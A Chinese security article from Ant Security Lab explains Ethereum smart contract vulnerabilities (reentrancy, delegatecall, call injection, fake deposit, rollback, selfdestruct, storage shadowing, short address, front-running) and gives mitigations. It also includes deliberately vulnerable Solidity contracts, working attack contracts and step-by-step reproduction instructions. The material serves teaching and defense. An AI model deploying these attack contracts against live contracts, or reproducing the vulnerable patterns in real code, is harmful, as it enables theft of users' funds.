作者: 天宸@螞蟻安全實驗室
原文鏈接:https://mp.weixin.qq.com/s/hi2xigJFtHXbscATbXsAng
序言
西安電子科技大學教授裴慶祺談到,“'智能合約'作為構建去中心化項目與去中心化組織不可或缺的基石,自其誕生之時便在各式各樣的分布式場景中扮演著重要的角色。隨著“智能合約”的重要性和普及度不斷提高,合約面臨的安全威脅也在與日俱增。
近年來,因為“智能合約”漏洞導致的財產丟失、隱私泄漏等問題層出不窮,合約漏洞分析與合約安全防護也逐漸成為當前區塊鏈領域至關重要的技術之一。螞蟻安全實驗室這篇分享將從智能合約基本概念及以太坊智能合約運行機制出發,全方位地闡釋了合約中的安全隱患,詳述了近年來出現的各種智能合約漏洞原理,通過復現漏洞場景及分析漏洞合約solidity代碼分析漏洞成因,結合詳細的攻擊步驟直觀地表述了攻擊方式及該類漏洞所帶來的損失,并針對攻擊方式給出不同情況下的合理規避建議。
本文上下兩篇內容基本涵蓋了以太坊全部已提出或已出現的合約漏洞,并均給出了可行的規避建議。閱讀本篇文章,不論是對智能合約的編寫或維護者,還是對深入區塊鏈智能合約領域的學者及技術愛好者,都能夠獲益匪淺。”
安全威脅通常是由漏洞引發的多種漏洞類型。那么,什么是漏洞?國家信息安全漏洞庫提出:漏洞是計算機信息系統在需求、設計、實現、配置、運行等過程中,有意或無意產生的缺陷。這些缺陷以不同的形式存在于計算機信息系統的各個層次和環節之中,一旦被惡意主體所利用,就會對計算機信息系統的安全造成一定損害,從而影響系統的正常運行。
由此可見,漏洞更多的是指一種安全缺陷,比如整數溢出是一種安全缺陷,隨機數種子選取不當是一種安全缺陷,易遭受某某攻擊也是一種安全缺陷。
為保證大家閱讀的體驗,本文將各式各樣的安全缺陷統一為某某漏洞
什么是智能合約?
早在 1996 年,Nick Szabo 就首次描述了智能合約的概念。當時,他對智能合約定義是:智能合約是一組以數字形式指定的承諾,包括各方在其中履行這些承諾的協議。(A smart contract is a set of promises, specified in digital form, including protocols within which the parties perform on these promises.)
在加密貨幣領域,幣安將智能合約定義為在區塊鏈上運行的應用或程序。通常情況下,它們為一組具有特定規則的數字化協議,且該協議能夠被強制執行。這些規則由計算機源代碼預先定義,所有網絡節點會復制和執行這些計算機源碼。
智能合約如何運行
智能合約的運行方式由下圖所示。本文主要討論以太坊上的智能合約漏洞,所以用以太坊為例說明運行方式。智能合約運行在以太坊節點上,節點上配有以太坊虛擬機運行智能合約。合約由一筆交易觸發,由虛擬機負責執行,執行完畢之后修改以太坊的世界狀態,如賬戶余額,交易以及輸入和輸出會寫入區塊中,不可抵賴、不可篡改。

2015年7月,以太坊團隊正式發布以太坊網絡Frontier 階段,開發者開始在以太坊上編寫智能合約和去中心化應用。2016年1月,以太坊智能合約開啟區塊鏈應用之路。1月10日至3月13日以太坊單位價格從0.97美元漲至14.32美元,兩個月左右的時間翻了將近15倍,并一路上漲,直到2016年6月,以太坊上的一個去中心化自治組織 The DAO 被黑客攻擊,損失了五千萬美元,以太幣價格從19.42美元跌至11.32美元,跌幅41%。
The DAO 攻擊讓黑客們找到了財富密碼,他們意識到智能合約是一個巨大的寶庫。隨后,黑客們便開啟了挖洞的狂歡,他們滿載著以太幣而歸,也給我們留下了精彩的技術和思維的盛宴。
以太坊誕生的第一年內,一共部署了約 5萬個智能合約。今天,以太坊上智能合約的數量已經超過 393萬個。在所有的公鏈平臺中,以太坊是起步最早,生態最豐富,最具活力的智能合約運行平臺。如今以太坊已經承載了數百萬合約的運行,是名副其實的百萬合約之母。
以太坊平臺支持多種合約語言,如 Solidity 和 Vyper,其中 Solidity 的使用最為廣泛,是本文主要的分析對象。我們大致把漏洞分為兩大類:以太坊特性導致的新穎的漏洞類型,和傳統攻擊手法在以太坊上舊貌換新顏的傳統漏洞類型 。為了更好的講解漏洞,我們對主要漏洞做了復現,同時也鼓勵大家可以根據代碼和步驟實戰操作一二。
以太坊特性產生的新漏洞類型
Re-Entrancy 重入漏洞
漏洞介紹
重入漏洞是指利用 fallback 函數特性,遞歸調用含有漏洞的轉賬合約,直到 gas 耗盡,或遞歸條件終止,攻擊者就可以得到遠遠超出預存的代幣。
fallback函數是合約里的特殊無名函數,一個合約有且僅有一個 fallback 函數。目前,fallback 有以下兩種方式聲明,其中這兩種方式都不需要 function關鍵字。0.4.x 之前的版本對 fallback 的可見性沒有要求,0.5.x 版本上要求 fallback 必須是 external。fallback 函數可以是虛函數,可以被重寫,也可以有修飾符。
fallback () external [payable]fallback (bytes calldata _input) external [payable] returns (bytes memory _output)
漏洞示例
pragma solidity ^0.4.10;
contract SevenToken {
address owner;
mapping (address => uint256) balances; // 記錄每個打幣者存入的資產情況
event withdrawLog(address, uint256);
function SevenToken() { owner = msg.sender; }
function deposit() payable { balances[msg.sender] += msg.value; }
function withdraw(address to, uint256 amount) {
require(balances[msg.sender] > amount);
require(this.balance > amount);
withdrawLog(to, amount); // 打印日志,方便觀察 reentrancy
to.call.value(amount)(); // 使用 call.value()() 進行 ether 轉幣時,默認會發所有的 Gas 給外部
balances[msg.sender] -= amount; // 這一步驟應該在 send token 之前
}
function balanceOf() returns (uint256) { return balances[msg.sender]; }
function balanceOf(address addr) returns (uint256) { return balances[addr]; }
}
攻擊步驟
攻擊代碼如下:
contract Attack {
address owner;
address victim;
modifier ownerOnly { require(owner == msg.sender); _; }
function Attack() payable { owner = msg.sender; }
// 設置已部署的 SevenToken 合約實例地址
function setVictim(address target) ownerOnly { victim = target; }
function balanceOf() returns (uint256) {return this.balance;}
// deposit Ether to SevenToken deployed
function step1(uint256 amount) private ownerOnly {
if (this.balance > amount) {
victim.call.value(amount)(bytes4(keccak256("deposit()")));
}
}
// withdraw Ether from SevenToken deployed
function step2(uint256 amount) private ownerOnly {
victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, amount);
}
function () payable {
if (msg.sender == victim) {
victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, msg.value);
}
}
}
操作步驟:
1.兩個合約可以寫在一個sol文件里,在remix Javascript VM環境下,編譯--切換到run選項卡--deploy。
2.用account A deploy SevenToken合約。
3.用account A deposit 25 ether到Se-venToken合約。
4.用account B deploy Attack合約,在deploy的時候初始化轉10 ether 到Attack合約。
5.用account B調用 setVictim。copy paste SevenToken合約的地址作為setVictim的參數。
6.如果想確認是否set成功可以調用getVictim查看結果。
7.用account B調用step1,先往SevenToken里存入一些代幣。
8.用account B調用step2,提取代幣,金額少于之前存的代幣。
9.攻擊成功,account B提取了SevenToken所有的代幣,~~25 ether。
規避建議
為了避免重入,可以使用下面撰寫的“檢查-生效-交互”(Checks-Effects-Interactions)模式:
第一步,大多數函數會先做一些檢查工作(例如誰調用了函數,參數是否在取值范圍之內,它們是否發送了足夠的以太幣Ether ,用戶是否具有token等等)。這些檢查工作應該首先被完成。
第二步,如果所有檢查都通過了,接下來進行更改合約狀態變量的操作。
第三步,與其它合約的交互應該是任何函數的最后一步。
早期合約延遲了一些效果的產生,導致重入攻擊。
請注意,對已知合約的調用反過來也可能導致對未知合約的調用,所以最好是一直保持使用這個模式編寫代碼。
require(balances[msg.sender] > amount); //檢查
require(this.balance > amount); //檢查
balances[msg.sender] -= amount; // 生效
to.call.value(amount)(); // 交互
特殊的,對于輕量的轉賬操作,推薦使用 send 方法,盡量避免使用 call 方法。無論使用哪種方法都需要檢查返回值。
delegatecall 漏洞
漏洞介紹
Solidity 語言有 2 中調用外部合約的方式:
· call 的執行上下文是外部合約的上下文
· delegatecall 的執行上下文是本地合約上下文
合約 A 以 call 方式調用外部合約 B 的 func() 函數,在外部合約 B 上下文執行完 func() 后繼續返回 A 合約上下文繼續執行;而當 A 以 delegatecall 方式調用時,相當于將外部合約 B 的 func() 代碼復制過來(其函數中涉及的變量或函數都需要在本地存在)在 A 上下文空間中執行。
漏洞示例
Delegate 是一個普通合約,Delegation 是它的代理,響應外部的調用。
pragma solidity ^0.4.10;
contract Delegate {
address public owner;
function Delegate(address _owner) {
owner = _owner;
}
function setOwner() {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
function Delegation(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
function () {
if (delegate.delegatecall(bytes4(keccak256("setOwner()")))) {
this;
}
}
}
這個攻擊能成立的前提條件是入口方法是 public 的,代理合約之間的方法可以互相訪問。
攻擊步驟
1.account A部署Delegate。Delegate合約有構造函數,參數是合約所有者的地址。部署的時候指定account A地址。
2.account A部署Delegation。部署的時候指定Delegate合約的地址,表示代理的是Delegate合約。
3.此時驗證兩個合約的owner相同,都是account A的地址。
4.account B調用Delegation 的fallback函數,修改owner地址。
5.查看Delegation的owner地址,已經被修改成account B的地址。
規避建議
1.謹慎使用 delegatecall() 函數。將函數選擇器所使用的函數id固定以鎖定要調用的函數,避免使用 msg.data 作為函數參數。
2.明確函數可見性,默認情況下為public類型,為防止外部調用函數被內部調用應使用external。注意這里的函數是指使用 delegatecall 的函數,也就是示例中的fallback函數。
3.加強權限控制。敏感函數應設置onlyOwner等修飾器。用 onlyOwner修飾示例中被代理的函數 setOwner() 能夠阻擋攻擊。
call 注入漏洞
漏洞介紹
call調用修改msg.sender值
通常情況下合約通過call來執行來相互調用執行,由于call在相互調用過程中內置變量 msg 會隨著調用方的改變而改變,這就成為了一個安全隱患,在特定的應用場景下將引發安全問題。

漏洞示例
call注入引起的最根本的原因就是call在調用過程中,會將msg.sender的值轉換為發起調用方的地址,能夠繞過身份校驗。下面的例子描述了call注入的攻擊模型。
pragma solidity ^0.4.22;
contract Victim {
uint256 public balance = 1;
function info(bytes4 data){
this.call(data);
//this.call(bytes4(keccak256("secret()"))); //利用代碼示意
}
function secret() public{
require(this == msg.sender);
// secret operations
balance = 100;
}
}
攻擊步驟
攻擊合約:
contract Attack{
function callsecret(Victim vic){
vic.secret();
}
function callattack(Victim vic){
vic.info(bytes4(keccak256("secret()")));
}
}
攻擊步驟:
1.account A部署Victim合約。觀察 balance的值,為1。
2.account B部署Attack合約。
3.先調用Attack合約的callsecret函數,參數為Victim合約的地址。因為不滿足require 條件,調用失敗,觀察balance的值為1。
4.再調用Attack合約的callattack函數,參數為Victim合約的地址。因為info函數里面使用了call函數調用secret函數,call函數會修改 msg.sender為調用者也就是Victim本身,所以能夠滿足require條件,調用成功,觀察 balance的值為 100。攻擊成功。
規避建議
1.禁止使用外部傳入的參數作為call函數的參數。
2.盡量不要使用call函數傳參數的設計方式。
假充值漏洞
漏洞介紹
在一些充值場景下,接收方沒有正確的判斷充值狀態就為攻擊者充值,而實際上攻擊者并沒有付出代幣。這種問題稱為假充值問題。這類問題的根因在于業務平臺存在漏洞 -- 沒有進行合理的驗證。真實世界的案例可以查看此交易:

此交易回執的status是true,然而轉賬函數執行失敗ERC-20 Token Transfer Error。
漏洞示例
以太坊代幣交易回執中status字段是 0x1(true) 還是 0x0(false),取決于交易事務執行過程中是否拋出了異常(比如使用了 require/assert/revert/throw 等機制)。
當用戶調用代幣合約的transfer函數進行轉賬時,如果transfer函數正常運行未拋出異常,該交易的status即是0x1(true)。盡管函數return false。
function transfer(address _to, uint256 _value) public returns (bool) {
if(_value <= balances[msg.sender] && _value > 0){
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
else
return false;
}
某些代幣合約的transfer函數對轉賬發起人(msg.sender)的余額檢查用的是if判斷方式,當balances[msg.sender] < _value時進入 else邏輯部分并return false,最終沒有拋出異常,我們認為僅if/else這種溫和的判斷方式在 transfer這類敏感函數場景中是一種不嚴謹的編碼方式。而大多數代幣合約的transfer函數會采用require/assert方式。
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
當不滿足條件時會直接拋出異常,中斷合約后續指令的執行,或者也可以使用EIP 20推薦的 if/else + revert/throw函數組合機制來顯現拋出異常。
攻擊示例
攻擊者可以利用存在該缺陷的代幣合約向中心化交易所、錢包等服務平臺發起充值操作,如果交易所僅判斷如TxReceipt Status是 success(即上文提的status 為 0x1(true)的情況) 就以為充幣成功,就可能存在“假充值”漏洞。此漏洞參考[1]。
規避建議
除了判斷交易事務success之外,還應二次判斷充值錢包地址的balance是否準確的增加。
回滾漏洞
漏洞介紹
回滾攻擊是一種根據合約運行結果的好壞決定是否回滾的攻擊,如果運行結果不滿足攻擊者利益則攻擊者使交易回滾。這種攻擊常用于猜測彩票合約結果,攻擊者先投注,然后監測開獎結果,如果不能中獎就回滾。反之則投注。
攻擊者不花費任何代價,卻達到穩贏的結果。
漏洞示例
contract Alice{
function random() internal returns (uint8){
return 11;
}
function guess(uint8 num) payable public returns (bool){
require(msg.value >= 1 ether);
uint8 rand = random();
if(num > rand-3 && num < rand+3){
msg.sender.transfer(2 ether);
}
else{
return false;
}
}
}
Alice是一個彩票合約,用戶必須投入1 ether才可以參與猜獎。如果用戶猜測的數在隨機數加減3的范圍內,則贏得2 ether,否則不中獎。
攻擊示例
攻擊者Bob就可以針對開獎邏輯發起回滾攻擊。Bob先檢查Alice合約的執行結果,如果不滿足Bob的利益就觸發回滾操作。攻擊代碼如下:
cocontract Bob{
function rollback(Alice alice, int8 num) public {
uint256 balance1 = this.balance;
bool isSucceed = address(alice).call.gas(10000).value(1 ether)(bytes4(keccak256("guess(int8)")), num);
uint256 balance2 = this.balance;
// 沒有中獎則回滾
if(balance2 < balance1){
revert();
}
}
規避建議
本問題是對以太坊可能面臨的威脅的一種探討,目前作者尚未發現真實案例,這個留作開放問題來探討。
自毀漏洞
漏洞介紹
Solidity有自毀函數selfdestruct(),該函數可以對創建的合約進行自毀,并且可以將合約里的Ether轉到自毀函數定義的地址中。
如果自毀函數的參數是一個合約地址,自毀函數不會調用參數地址的任何函數,包括fallback 函數,最終被銷毀合約的Ether成功轉到參數地址。如果此銷毀特性被攻擊者利用,就會發生安全問題。
漏洞示例
尚未發現利用此特性導致的真實攻擊示例。但預測此漏洞更容易出現在使用this.balance作為判斷依據的合約中,因為selfdestruct()轉移的金額會加到this.balance中。
另一潛在威脅的場景是利用此漏洞預先發送Ether到尚未創建的合約地址上。等地址創建后,發送的Ether就存在于該地址上。這一場景暫時未導致安全問題。
規避建議
自毀漏洞發生的主要原因是目標合約對this.balance使用不當。建議使用自定義變量,即使有惡意Ether強行轉入,也不會影響自定義變量的值。
影子變量漏洞
漏洞介紹
在Solidity中,有storage和memory兩種存儲方式。storage變量是指永久存儲在區塊鏈中的變量;memory變量的存儲是臨時的,這些變量在外部調用結束后會被移除。
但是在一些低版本上,Solidity對復雜的數據類型,如array,struct在函數中作為局部變量是,會默認存儲在storage當中。會產生安全漏洞。目前自 0.5.x版本已經強制開發者指定存儲位置。
漏洞示例
以下代碼unlocked存在slot0中registRecord存在 slot1 中。newRecord默認存在 storage 中,指向slot0.那么newRecord.name和 newRecord.addr分別指向slot0和slot1.
pragma solidity 0.4.26;
contract Shadow {
bool public unlocked = false; // slot0
struct Record{
bytes32 name;
address addr;
}
mapping(address => Record) public registRecord; //slot1
event Log(address addr, bool msg);
function regist(bytes32 _name, address _addr) public {
Record newRecord;
newRecord.name = _name; // slot0
newRecord.addr = _addr; // slot1
emit Log(msg.sender, unlocked);
}
}
攻擊步驟
攻擊者傳入_name參數,值不為0,即可覆蓋 unlocked的值,把unlocked置為1。
規避建議
使用高版本的編譯器。從0.5.x以上,編譯器就會強制開發者指定存儲位置。把newRecord存儲在memory 中,即可避免此類問題。
短地址漏洞
漏洞介紹
一般ERC-20 TOKEN標準的代幣都會實現transfer方法,這個方法在ERC-20標簽中的定義為:function transfer(address to, uint tokens) public returns (bool success);
第一參數是發送代幣的目的地址,第二個參數是發送token的數量。
當我們調用transfer函數向某個地址發送N個ERC-20代幣的時候,交易的input數據分為3個部分:
4 字節,是方法名的哈希:a9059cbb
32字節,放以太坊地址,目前以太坊地址是20個字節,高位補0
000000000000000000000000abcabcabcabcabcabcabcabcabcabcabcabcabca
32字節,是需要傳輸的代幣數量,這里是1*1018 GNT
0000000000000000000000000000000000000000000000000de0b6b3a7640000
所有這些加在一起就是交易數據:
a9059cbb000000000000000000000000abcabcabcabcabcabcabcabcabcabcabcabcabca0000000000000000000000000000000000000000000000000de0b6b3a7640000
短地址攻擊是指用ABI調用其他合約的時候,特意選取以00結尾的地址,傳入地址參數的時候省略最后的00,導致EVM在解析數量參數時候對參數錯誤的補0,導致超額轉出代幣。
漏洞示例
以如下合約為例:
contract MyToken {
mapping (address => uint) balances;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
function MyToken() {
balances[tx.origin] = 10000;
}
function sendCoin(address to, uint amount) returns(bool sufficient) {
if (balances[msg.sender] < amount) return false;
balances[msg.sender] -= amount;
balances[to] += amount;
Transfer(msg.sender, to, amount);
return true;
}
function getBalance(address addr) constant returns(uint) {
return balances[addr];
}
}
攻擊步驟
攻擊的前提是:攻擊者有一個00結尾的地址。這里調用sendCoin方法時,傳入的參數如下:
0x90b98a11 00000000000000000000000062bec9abe373123b9b635b75608f94eb86441600 0000000000000000000000000000000000000000000000000000000000000002
這里的0x90b98a11是method的hash值,第二個是地址,第三個是amount參數。如果我們調用sendCoin方法的時候,傳入地址:0x62bec9abe373123b9b635b75608f94eb86441600
把這個地址的“00”丟掉,即扔掉末尾的一個字節,參數就變成了:
0x90b98a11 00000000000000000000000062bec9abe373123b9b635b75608f94eb86441600 00000000000000000000000000000000000000000000000000000000000002 ^^ 缺失1個字節
這里EVM把amount的高位的一個字節的0填充到了address部分,這樣使得amount向左移位了1個字節,即向左移位8。
這樣,amount就成了2 << 8 = 512。
規避建議
在編寫代碼時,添加對地址長度的檢查機制,即可有效防范短地址攻擊。
assert(msg.data.length == right size);
因為函數自己知道接受幾個參數,所以可以計算正確的 size。
閱讀:
https://ericrafaloff.com/analyzing-the-erc20-short-address-attack/
https://github.com/ethereum/EIPs/blob/master/EIPS/eip-55.md
提前交易漏洞
漏洞介紹
簡單來說,“提前交易”就是某人提前獲取到交易者的具體交易信息(或者相關信息),搶在交易者完成操作之前,通過一系列手段(通常是危害交易者的手段,如提高報價)來搶在交易者前面完成交易。
漏洞示例
有個MathGame的合約,設置了一些 puzzle,如果有人回答正確就可以得到一定的獎勵。

攻擊步驟

有個用戶成功解出了題目, 并發送答案到 MathGame 合約。攻擊者一直在掃描交易池并且發現了答案,攻擊者就提高了手續費,把答案發送出去。礦工因為攻擊者付的手續費更多,優先打包了攻擊者的交易。攻擊者就竊取了他人的成果。
規避方法
合約編寫者要充分考慮這種提前交易或者條件競爭的情景,在編寫合約的時候事先想好應對措施。比如設置答題序號,并延遲發送獎勵,比如延遲到次日發送獎勵。先把收集到的答案緩存起來,如果有更早序號的正確答案的交易過來,就把當前答案的發送者用更早的答案的發送者替換掉。因為延遲到次日開獎,考慮到成本,攻擊者不可能一直阻塞礦工打包更早答案的交易。
本文主要介紹了以太坊平臺常見的漏洞類型。不排除還存在其他的威脅類型本文沒有收錄,歡迎大家隨時反饋。
本系列后續的文章之下集也會在本周及時更新,歡迎關注。
參考文獻
1.https://www.chainnode.com/post/355956
3.http://www.bjnorthway.com/633/
4.http://www.bjnorthway.com/632/
5.https://eth.wiki/en/howto/smart-contract-safety
6.https://consensys.github.io/smart-contract-best-practices/
8.https://eprint.iacr.org/2016/1007.pdf
9.https://medium.com/cryptronics/ethereum-smart-contract-security-73b0ede73fa8
10.http://www.bjnorthway.com/624/
11.http://www.bjnorthway.com/615/
12.https://cloud.tencent.com/developer/article/1171294
13.http://www.bjnorthway.com/685/
14.https://www.freebuf.com/vuls/179173.html
15.https://www.kingoftheether.com/thrones/kingoftheether/index.html
16.https://www.mdeditor.tw/pl/2LVR
17.http://www.bjnorthway.com/607/
18.https://medium.com/coinmonks/solidity-tx-origin-attacks-58211ad95514
19.《區塊鏈安全入門與實戰》第3 章. 劉林炫. 北京. 機械工業出版社.
掃碼關注螞蟻安全實驗室微信公眾號,干貨不斷!

本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1544/
暫無評論